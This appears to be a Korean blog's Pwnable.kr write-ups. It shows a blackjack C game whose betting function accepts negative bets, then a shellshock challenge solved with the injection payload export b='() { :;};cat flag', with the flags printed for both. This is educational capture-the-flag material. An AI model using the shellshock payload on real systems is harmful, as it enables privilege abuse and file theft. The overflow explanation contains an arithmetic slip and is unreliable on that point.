void rules();        //Prints "Rules of Vlad's Blackjack" menu
void play();         //Plays game
void dealer();       //Function to play for dealer AI
void stay();         //Function for when user selects 'Stay'
void cash_test();    //Test for if user has cash remaining in purse
void askover();      //Asks if user wants to continue playing
void fileresults();  //Prints results into Blackjack.txt file in program directory

//Main Function
int main(void)
{
    int choice1;
    printf("\n");
    printf("\n");
    printf("\n");
    printf("\n              222                111                            ");
    printf("\n            222 222            11111                              ");
    printf("\n           222   222          11 111                            "); 
    printf("\n                222              111                               "); 
    printf("\n               222               111                           ");   
    printf("\n");
    printf("\n%c%c%c%c%c     %c%c            %c%c         %c%c%c%c%c    %c    %c                ", club, club, club, club, club, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);  
    printf("\n%c    %c    %c%c           %c  %c       %c     %c   %c   %c              ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);            
    printf("\n%c    %c    %c%c          %c    %c     %c          %c  %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                        
    printf("\n%c%c%c%c%c     %c%c          %c %c%c %c     %c          %c %c              ", club, club, club, club, club, spade, spade, diamond, diamond, diamond, diamond, heart, club, club);      
    printf("\n%c    %c    %c%c         %c %c%c%c%c %c    %c          %c%c %c             ", club, club, spade, spade, diamond, diamond, diamond, diamond, diamond, diamond, heart, club, club, club);                       
    printf("\n%c     %c   %c%c         %c      %c    %c          %c   %c               ", club, club, spade, spade, diamond, diamond, heart, club, club);                                         
    printf("\n%c     %c   %c%c        %c        %c    %c     %c   %c    %c             ", club, club, spade, spade, diamond, diamond, heart, heart, club, club);                                                            
    printf("\n%c%c%c%c%c%c    %c%c%c%c%c%c%c   %c        %c     %c%c%c%c%c    %c     %c            ", club, club, club, club, club, club, spade, spade, spade, spade, spade, spade, spade, diamond, diamond, heart, heart, heart, heart, heart, club, club);                                                                                     
    printf("\n");     
    printf("\n                        21                                   ");
    
    printf("\n     %c%c%c%c%c%c%c%c      %c%c         %c%c%c%c%c    %c    %c                ", diamond, diamond, diamond, diamond, diamond, diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                     
    printf("\n        %c%c        %c  %c       %c     %c   %c   %c              ", diamond, diamond, heart, heart, club, club, spade, spade);                                      
    printf("\n        %c%c       %c    %c     %c          %c  %c               ", diamond, diamond, heart, heart, club, spade, spade);                                           
    printf("\n        %c%c       %c %c%c %c     %c          %c %c              ", diamond, diamond, heart, heart, heart, heart, club, spade, spade);                                     
    printf("\n        %c%c      %c %c%c%c%c %c    %c          %c%c %c             ", diamond, diamond, heart, heart, heart, heart, heart, heart, club, spade, spade, spade);                                                
    printf("\n        %c%c      %c      %c    %c          %c   %c               ", diamond, diamond, heart, heart, club, spade, spade);                                                                               
    printf("\n     %c  %c%c     %c        %c    %c     %c   %c    %c             ", diamond, diamond, diamond, heart, heart, club, spade, spade);                                                                                                               
    printf("\n      %c%c%c      %c        %c     %c%c%c%c%c    %c     %c            ", diamond, diamond, diamond, heart, heart, club, club, club, club, club, spade, spade);                                                                                                                                        
    printf("\n");  
    printf("\n         222                     111                         ");
    printf("\n        222                      111                         ");
    printf("\n       222                       111                         ");
    printf("\n      222222222222222      111111111111111                       ");
    printf("\n      2222222222222222    11111111111111111                         ");
    printf("\n");
    printf("\n");
    
    asktitle();
    
    printf("\n");
    printf("\n");
    system("pause");
    return(0);
} //end program

void asktitle() // Function for asking player if they want to continue
{
	char choice1;
    int choice2;
    
	 printf("\n                 Are You Ready?");
     printf("\n                ----------------");
     printf("\n                      (Y/N)\n                        ");
     scanf("\n%c",&choice1);

	while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
	{ 
            system("cls");
            printf("\nEnter 1 to Begin the Greatest Game Ever Played.");
		    printf("\nEnter 2 to See a Complete Listing of Rules.");
		    printf("\nEnter 3 to Exit Game. (Not Recommended)");
		    printf("\nChoice: ");
		    scanf("%d", &choice2); // Prompts user for choice
		    if((choice2<1) || (choice2>3)) // If invalid choice entered
		    {
                printf("\nIncorrect Choice. Please enter 1, 2 or 3\n");
                scanf("%d", &choice2);
            }
            switch(choice2) // Switch case for different choices
            {   
                case 1: // Case to begin game
                   system("cls");
                   
                   play();
                                      
                   break;
                   
                case 2: // Case to see rules
                   system("cls");
                   rules();
                   break;
                   
                case 3: // Case to exit game
                   printf("\nYour day could have been perfect.");
                   printf("\nHave an almost perfect day!\n\n");
                   system("pause");
                   exit(0);
                   break;
                   
                default:
                   printf("\nInvalid Input");
            } // End switch case
	} // End if loop
   
		    

	else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
	{
		printf("\nYour day could have been perfect.");
        printf("\nHave an almost perfect day!\n\n");
        system("pause");
        exit(0);
	}
	
	return;
} // End function

void rules() //Prints "Rules of Vlad's Blackjack" list
{
     char choice1;
     int choice2;
     
     printf("\n           RULES of VLAD's BLACKJACK");
     printf("\n          ---------------------------");
     printf("\nI.");
     printf("\n     Thou shalt not question the odds of this game.");
     printf("\n      %c This program generates cards at random.", spade);
     printf("\n      %c If you keep losing, you are very unlucky!\n", diamond);
     
     printf("\nII.");
     printf("\n     Each card has a value.");
     printf("\n      %c Number cards 1 to 10 hold a value of their number.", spade);
     printf("\n      %c J, Q, and K cards hold a value of 10.", diamond);
     printf("\n      %c Ace cards hold a value of 11", club);
     printf("\n     The goal of this game is to reach a card value total of 21.\n");
     
     printf("\nIII.");
     printf("\n     After the dealing of the first two cards, YOU must decide whether to HIT or STAY.");
     printf("\n      %c Staying will keep you safe, hitting will add a card.", spade);
     printf("\n     Because you are competing against the dealer, you must beat his hand.");
     printf("\n     BUT BEWARE!.");
     printf("\n      %c If your total goes over 21, you will LOSE!.", diamond);
     printf("\n     But the world is not over, because you can always play again.\n");
     printf("\n%c%c%c YOUR RESULTS ARE RECORDED AND FOUND IN SAME FOLDER AS PROGRAM %c%c%c\n", spade, heart, club, club, heart, spade);
     printf("\nWould you like to go the previous screen? (I will not take NO for an answer)");
     printf("\n                  (Y/N)\n                    ");
     scanf("\n%c",&choice1);
     
     while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue. Prints menu.
	{ 
            system("cls");
            asktitle();
	} // End if loop
   
		    

	else if((choice1 == 'N') || (choice1 == 'n')) // If no, convinces user to enter yes
	{
		system("cls");
        printf("\n                 I told you so.\n");
        asktitle();
    }
	
	return;
} // End function

int clubcard() //Displays Club Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", club);
    printf("-------\n");
    }
    
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  J  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    }
    
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  A  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {

             k=1;
         }
    }
    
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  Q  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Club Card
    printf("-------\n");
    printf("|%c    |\n", club);
    printf("|  K  |\n");
    printf("|    %c|\n", club);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;           
}// End function

int diamondcard() //Displays Diamond Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  J  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  A  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  Q  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Diamond Card
    printf("-------\n");
    printf("|%c    |\n", diamond);
    printf("|  K  |\n");
    printf("|    %c|\n", diamond);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
}// End function

int heartcard() //Displays Heart Card Image
{
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart); 
    printf("|  %d  |\n", k);
    printf("|    %c|\n", heart);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  J  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  A  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  Q  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Heart Card
    printf("-------\n");
    printf("|%c    |\n", heart);
    printf("|  K  |\n");
    printf("|    %c|\n", heart);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int spadecard() //Displays Spade Card Image
{
    
    
    srand((unsigned) time(NULL)); //Generates random seed for rand() function
    k=rand()%13+1;
    
    if(k<=9) //If random number is 9 or less, print card with that number
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  %d  |\n", k);
    printf("|    %c|\n", spade);
    printf("-------\n");
    }
    
    if(k==10) //If random number is 10, print card with J (Jack) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  J  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    }
    
    if(k==11) //If random number is 11, print card with A (Ace) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  A  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    if(player_total<=10) //If random number is Ace, change value to 11 or 1 depending on dealer total
         {
             k=11;
         }
         
         else
         {
             k=1;
         }
    }
    
    if(k==12) //If random number is 12, print card with Q (Queen) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  Q  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    
    if(k==13) //If random number is 13, print card with K (King) on face
    {
    //Spade Card
    printf("-------\n");
    printf("|%c    |\n", spade);
    printf("|  K  |\n");
    printf("|    %c|\n", spade);
    printf("-------\n");
    k=10; //Set card value to 10
    }
    return k;
} // End Function

int randcard() //Generates random card
{
     
               
     srand((unsigned) time(NULL)); //Generates random seed for rand() function
     random_card = rand()%4+1;
     
     if(random_card==1)
     {   
         clubcard();
         l=k;
     }
     
     if(random_card==2)
     {
         diamondcard();
         l=k;
     }
     
     if(random_card==3)
     {
         heartcard();
         l=k;
     }
         
     if(random_card==4)
     {
         spadecard();
         l=k;
     }    
     return l;
} // End Function   

void play() //Plays game
{
     
     int p=0; // holds value of player_total
     int i=1; // counter for asking user to hold or stay (aka game turns)
     char choice3;
     
     cash = cash;
     cash_test();
     printf("\nCash: $%d\n",cash); //Prints amount of cash user has
     randcard(); //Generates random card
     player_total = p + l; //Computes player total
     p = player_total;
     printf("\nYour Total is %d\n", p); //Prints player total
     dealer(); //Computes and prints dealer total
     betting(); //Prompts user to enter bet amount
       
     while(i<=21) //While loop used to keep asking user to hit or stay at most twenty-one times
                  //  because there is a chance user can generate twenty-one consecutive 1's
     {
         if(p==21) //If user total is 21, win
         {
             printf("\nUnbelievable! You Win!\n");
             won = won+1;
             cash = cash+bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p>21) //If player total is over 21, loss
         {
             printf("\nWoah Buddy, You Went WAY over.\n");
             loss = loss+1;
             cash = cash - bet;
             printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
             dealer_total=0;
             askover();
         }
     
         if(p<=21) //If player total is less than 21, ask to hit or stay
         {         
             printf("\n\nWould You Like to Hit or Stay?");
             
             scanf("%c", &choice3);
             while((choice3!='H') && (choice3!='h') && (choice3!='S') && (choice3!='s')) // If invalid choice entered
	         {                                                                           
                 printf("\n");
		         printf("Please Enter H to Hit or S to Stay.\n");
		         scanf("%c",&choice3);
	         }


	         if((choice3=='H') || (choice3=='h')) // If Hit, continues
	         { 
                 randcard();
                 player_total = p + l;
                 p = player_total;
                 printf("\nYour Total is %d\n", p);
                 dealer();
                  if(dealer_total==21) //Is dealer total is 21, loss
                  {
                      printf("\nDealer Has the Better Hand. You Lose.\n");
                      loss = loss+1;
                      cash = cash - bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  } 
     
                  if(dealer_total>21) //If dealer total is over 21, win
                  {                      
                      printf("\nDealer Has Went Over!. You Win!\n");
                      won = won+1;
                      cash = cash+bet;
                      printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
                      dealer_total=0;
                      askover();
                  }
             }
             if((choice3=='S') || (choice3=='s')) // If Stay, does not continue
             {
                printf("\nYou Have Chosen to Stay at %d. Wise Decision!\n", player_total);
                stay();
             }
          }
             i++; //While player total and dealer total are less than 21, re-do while loop 
     } // End While Loop
} // End Function

void dealer() //Function to play for dealer AI
{
     int z;
     
     if(dealer_total<17)
     {
      srand((unsigned) time(NULL) + 1); //Generates random seed for rand() function
      z=rand()%13+1;
      if(z<=10) //If random number generated is 10 or less, keep that value
      {
         d=z;
         
      }
     
      if(z>11) //If random number generated is more than 11, change value to 10
      {
         d=10;
      }
     
      if(z==11) //If random number is 11(Ace), change value to 11 or 1 depending on dealer total
      {
         if(dealer_total<=10)
         {
             d=11;
         }
         
         else
         {
             d=1;
         }
      }
     dealer_total = dealer_total + d;
     }
          
     printf("\nThe Dealer Has a Total of %d", dealer_total); //Prints dealer total
     
} // End Function 

void stay() //Function for when user selects 'Stay'
{
     dealer(); //If stay selected, dealer continues going
     if(dealer_total>=17)
     {
      if(player_total>=dealer_total) //If player's total is more than dealer's total, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(player_total<dealer_total) //If player's total is less than dealer's total, loss
      {
         printf("\nDealer Has the Better Hand. You Lose.\n");
         loss = loss+1;
         cash = cash - bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
      if(dealer_total>21) //If dealer's total is more than 21, win
      {
         printf("\nUnbelievable! You Win!\n");
         won = won+1;
         cash = cash+bet;
         printf("\nYou have %d Wins and %d Losses. Awesome!\n", won, loss);
         dealer_total=0;
         askover();
      }
     }
     else
     {
         stay();
     }
     
} // End Function

void cash_test() //Test for if user has cash remaining in purse
{
     if (cash <= 0) //Once user has zero remaining cash, game ends and prompts user to play again
     {
		printf("You Are Bankrupt. Game Over");
		cash = 500;
        askover();
     }
} // End Function

int betting() //Asks user amount to bet
{
 printf("\n\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
		printf("\nYou cannot bet more money than you have.");
		printf("\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function

void askover() // Function for asking player if they want to play again
{
	char choice1;
        
	 printf("\nWould You Like To Play Again?");
     printf("\nPlease Enter Y for Yes or N for No\n");
     scanf("\n%c",&choice1);

	while((choice1!='Y') && (choice1!='y') && (choice1!='N') && (choice1!='n')) // If invalid choice entered
	{                                                                           
		printf("\n");
		printf("Incorrect Choice. Please Enter Y for Yes or N for No.\n");
		scanf("%c",&choice1);
	}


	if((choice1 == 'Y') || (choice1 == 'y')) // If yes, continue.
	{ 
            system("cls");
            play();
	}
 
  	else if((choice1 == 'N') || (choice1 == 'n')) // If no, exit program
	{
        fileresults();
        printf("\nBYE!!!!\n\n");
        system("pause");
        exit(0);
	}
	return;
} // End function

void fileresults() //Prints results into Blackjack.txt file in program directory
{
    FILE *fpresults; //File pointer is fpresults
    fpresults = fopen(RESULTS, "w"); //Creates file and writes into it
    if(fpresults == NULL) // what to do if file missing from directory
    {
               printf("\nError: File Missing\n");
               system("pause");
               exit(1);
    }
    else
    {     
     fprintf(fpresults,"\n\t RESULTS");
     fprintf(fpresults,"\n\t---------\n");
     fprintf(fpresults,"\nYou Have Won %d Times\n", won);
     fprintf(fpresults,"\nYou Have Lost %d Times\n", loss);
     fprintf(fpresults,"\nKeep Playing and Set an All-Time Record!");
    } 
     fclose(fpresults);
     return;
} // End Function
  • 중요 부분만 해석!
int betting() //Asks user amount to bet
{
 printf("\\n\\nEnter Bet: $");
 scanf("%d", &bet);

 if (bet > cash) //If player tries to bet more money than player has
 {
		printf("\\nYou cannot bet more money than you have.");
		printf("\\nEnter Bet: ");
        scanf("%d", &bet);
        return bet;
 }
 else return bet;
} // End Function
  • 사실 소스코드부터 읽고 시작한 건 아니고 보통 입력 값에 대해서 integer issue가 있는 경우가 많아 nc 연결해서 -값 넣어보고 알았음
  • betting 함수에서 betting할 금액을 사용자로부터 입력 받음
    • 금액은 마이너스가 되면 안됨
    • 그러나 이에 대한 예외처리가 없음
    • 단순히 입력한 betting 값에 대해 그대로 return 해주기 때문에 마이너스 값을 입력해도 됨
  • 마이너스 값을 왜 입력해도 될까? 라는 의문이 들 수 있음
    • 이는 int 형의 범위와 연관됨
    • 데이터 형식 범위
    • int형은 –2,147,483,648 ~ 2,147,483,647의 범위를 가짐
    • unsigned int의 경우 0 ~ 4,294,967,295의 범위를 가짐
    • 해당 범위를 넘어서면 가장 위/아래의 값으로 넘어감
    • 즉, 2,147,483,648 이상을 입력하면 –2,147,483,648이 되는 것이고, 반대로 –2,147,483,649를 2,147,483,648이 됨
if(p>21)*{*
*//If player total is over 21, loss*
	 printf("\\nWoah Buddy, You Went WAY over.\\n");
	 loss = loss+1;
	 cash = cash - bet;
	 printf("\\nYou have %d Wins and %d Losses. Awesome!\\n", won, loss);
	 dealer_total=0;
	 askover();
}
  • 그리고 마이너스에 대한 검증이 없다보니 마이너스로 큰 값을 입력하면 오히려 +가 되어 큰 값으로 환산할 수 있음

 

문제 해결

💡 백만을 실제 게임으로 얻기는 어려움 마이너스 값을 입력해 betting 소유액을 최대치로 바꾸자


flag

🍒 YaY_I_AM_A_MILLIONARE_LOL

 

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] shellshock  (0) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15

[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - shellshock.c

#include <stdio.h>
int main(){
	setresuid(getegid(), getegid(), getegid());
	setresgid(getegid(), getegid(), getegid());
	system("/home/shellshock/bash -c 'echo shock_me'");
	return 0;
}
  • 소스코드는 굉장히 간단함
    • 권한을 일시적으로 상승시켜서 /home/shellshock/bash를 실행함
    shellshock에 대해
  • shellshock 취약점 공격 원리는 export로 정의하는 환경 변수 속에 명령을 집어넣는 것!
  • 뭔가.. 옛날에 적었던 풀이가 더 잘적은 것 같다..ㅎ 풀이 적다가 지우고 그냥 첨부함!(shellshock)

문제 해결

💡 export b='() { :;};cat flag’

flag

🍒 only if I knew CVE-2014-6271 ten years ago..!!

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] lotto  (0) 2022.10.15
[Pwnable.kr] blackjack  (2) 2022.10.15
[Pwnable.kr] mistake  (2) 2022.10.15
[Pwnable.kr] leg  (2) 2022.10.15
[Pwnable.kr] input  (2) 2022.10.15

+ Recent posts